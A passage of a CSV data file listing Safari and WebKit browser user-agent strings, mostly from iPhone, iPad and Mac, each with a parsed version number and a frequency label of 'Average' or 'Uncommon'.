Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Average\n\"Mozilla/5.0 (iPod; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3\",5.1,Average\n\"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3\",5.1,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1\",,Average\n\"Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E237 Safari/601.1\",9,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Safari/522.0\",,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/603.1.30 (KHTML, like Gecko) Safari/603.1.30\",,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50\",5.1,Average\n\"Mozilla/5.0 (iPad; CPU OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A365 Safari/600.1.4\",8,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.25 (KHTML, like Gecko) Version/6.0 Safari/536.25\",6,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B137 Safari/601.1\",9,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B435 Safari/600.1.4\",8,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E230 Safari/601.1\",9,Average\n\"Mozilla/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10\",4,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/600.1.17 (KHTML, like Gecko) Version/6.2 Safari/537.85.10\",6.2,Average\n\"Mozilla/5.0 (iPhone; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1\",9,Average\n\"Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E230 Safari/601.1\",9,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_6 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B500 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (iPad; CPU OS 10_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E277 Safari/602.1\",10,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1\",,Average\n\"Mozilla/5.0 (iPad; CPU OS 7_0_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A501 Safari/9537.53\",7,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",5.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/6.2.2 Safari/537.85.11\",6.2,Average\n\"Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X; en-us) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3\",5.1,Average\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\",4,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) webinfo4 Safari/538.1\",,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9\",7,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4\",8,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B436 Safari/600.1.4\",8,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9) AppleWebKit/537.71 (KHTML, like Gecko) Version/7.0 Safari/537.71\",7,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7\",5.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit/604.3.1 (KHTML, like Gecko) Version/11.0 Mobile/15B5066f Safari/604.1\",11,Average\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A342 Safari/601.1\",9,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/7.1.5 Safari/537.85.14\",7.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B179 Safari/7534.48.3\",5.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_6 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B651 Safari/9537.53\",7,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/6.2.3 Safari/537.85.12\",6.2,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/603.2.4 (KHTML, like Gecko) Safari/603.2.4\",,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E237 Safari/601.1\",9,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.3 (KHTML, like Gecko) Version/10.0 Mobile/14D15 Safari/602.1\",10,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Safari/522.0\",,Average\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; fr-fr) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/536.30.1 (KHTML, like Gecko) Version/6.0.5 Safari/536.30.1\",6,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/7.1.3 Safari/537.85.12\",7.1,Average\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.71 (KHTML like Gecko) WebVideo/1.0.1.10 Version/7.0 Safari/537.71,7,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A551 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.39 (KHTML, like Gecko) Version/9.0 Safari/601.1.39\",9,Average\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\",4,Average\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B143 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",5.1,Average\n\"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3\",3,Average\n\"Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A8426 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/7.1.2 Safari/537.85.11\",7.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.54.16 (KHTML, like Gecko) Version/5.1.4 Safari/534.54.16\",5.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_3 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B511 Safari/9537.53\",7,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/10.0 Safari/602.1.38\",10,Average\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_2 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5\",5,Average\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\",5,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.4.10 (KHTML, like Gecko) Version/7.1.4 Safari/537.85.13\",7.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/9.1 Safari/601.5.17\",9.1,Average\n\"Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F72 Safari/601.1\",9,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1\",,Average\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3\",5.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14\",7,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.2 (KHTML, like Gecko) Version/11.0 Mobile/15D5046b Safari/604.1\",11,Average\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-us) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\",5,Average\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1\",10,Average\n\"Mozilla/5.0(iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F191 Safari/6533.18.5\",5,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A343 Safari/601.1\",9,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.40 (KHTML, like Gecko) Version/10.0 Safari/602.1.40\",10,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.30.1 (KHTML, like Gecko) Version/6.0.5 Safari/536.30.1\",6,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.5 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.5\",9.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B5110e Safari/601.1\",9,Average\n\"Mozilla/5.0 (iPad; U; CPU OS 5_0_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10\",4,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.32 (KHTML, like Gecko) Version/8.1 Safari/601.1.32\",8.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Safari/601.1.42\",9,Average\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D15 Safari/601.1\",9,Average\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",5.1,Average\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; ko-kr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Average\n\"mozilla/5.0 (iphone; cpu iphone os 7_0_2 like mac os x) applewebkit/537.51.1 (khtml, like gecko) version/7.0 mobile/11a501 safari/9537.53\",7,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E269 Safari/602.1\",10,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.32 (KHTML, like Gecko) Version/10.0 Mobile/14A5261v Safari/602.1\",10,Average\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-at) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\",4,Average\n\"Mozilla/5.0 (iPad; CPU OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B150 Safari/602.1\",10,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17\",9.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.57.2\",5.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A5346a Safari/602.1\",10,Average\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.0 Mobile/14G60 Safari/602.1\",10,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4\",5.1,Average\nMozilla/5.0 (iPod touch; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML like Gecko) Version/7.0 Mobile/11D167 Safari/123E71C,7,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.25 (KHTML, like Gecko) Version/6.0 Safari/536.25\",6,Average\n\"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3\",3,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A403 Safari/604.1\",11,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.54.16 (KHTML, like Gecko) Version/5.1.4 Safari/534.54.16\",5.1,Average\n\"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A537a Safari/419.3\",3,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A525 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/9.0.3 Safari/601.4.4\",9,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F69 Safari/600.1.4\",8,Average\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19\",4,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.20 (KHTML, like Gecko) Version/10.1 Safari/603.1.20\",10.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.73.11 (KHTML, like Gecko) Version/7.0.1 Safari/537.73.11\",7,Average\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J3 Safari/6533.18.5\",5,Average\n\"Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F8089 Safari/602.1\",10,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A5335b Safari/602.1\",10,Average\n\"Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1\",9,Average\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; fr) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A345 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A356 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7\",4,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0 Mobile/14C89 Safari/602.1\",10,Uncommon\nMozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53,7,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.14 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.14\",9.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/600.1.4 (KHTML, like Gecko) Safari/600.1.4\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.3.10 (KHTML, like Gecko) Version/8.0.3 Safari/600.3.10\",8,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8\",10.1,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8G4 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; ja-jp) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.21 (KHTML, like Gecko) Version/10.0 Mobile/15A5278f Safari/602.1\",10,Uncommon\n\"Mozilla/5.0(iPad; U; CPU OS 4_3 like Mac OS X; %lang2%) adbeat.com/policy AppleWebKit/533.17.9 (KHTML, like Gecko) Version/6.0 Mobile/10B350 Safari/8536.25\",6,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML like Gecko) Version/6.0.2 Safari/536.26.17,6,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E238 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H141 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPod; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B329 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.71 (KHTML, like Gecko) Version/6.1 Safari/537.71\",6.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/WK10171 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; it-it) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.0.0 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B436 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7\",9.1,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 5_0 like Mac OS X; en-us) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; es-es) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0 Mobile/14C92 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A406 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B145 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) CasperJS/1.1.0-beta3+PhantomJS/2.0.0 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X; %lang2%) adbeat.com/policy AppleWebKit/600.1.4 (KHTML, like Gecko) Version/9.0 Mobile/12A366 Safari/600.1.4\",9,Uncommon\nMozilla/5.0 (iPad; U; CPU iPad OS 5_0_1 like Mac OS X; en-us) AppleWebKit/535.1+ (KHTML like Gecko) Version/7.2.0.0 Safari/6533.18.5,7.2,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.1 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; it-it) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.25 (KHTML, like Gecko) Version/11.0 Mobile/15A5304j Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.0.0 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Coast/2.0.2.69230 Mobile/11B554a Safari/7534.48.3\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.73.11 (KHTML, like Gecko) Version/6.1.1 Safari/537.73.11\",6.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/10.0 Mobile/14A300 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.0.0 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.43 (KHTML, like Gecko) Version/10.0 Safari/602.1.43\",10,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B142 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/10.0.2 Safari/602.3.12\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/11.0 Safari\",11,Uncommon\n\"Mozilla/5.0 (iPod; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 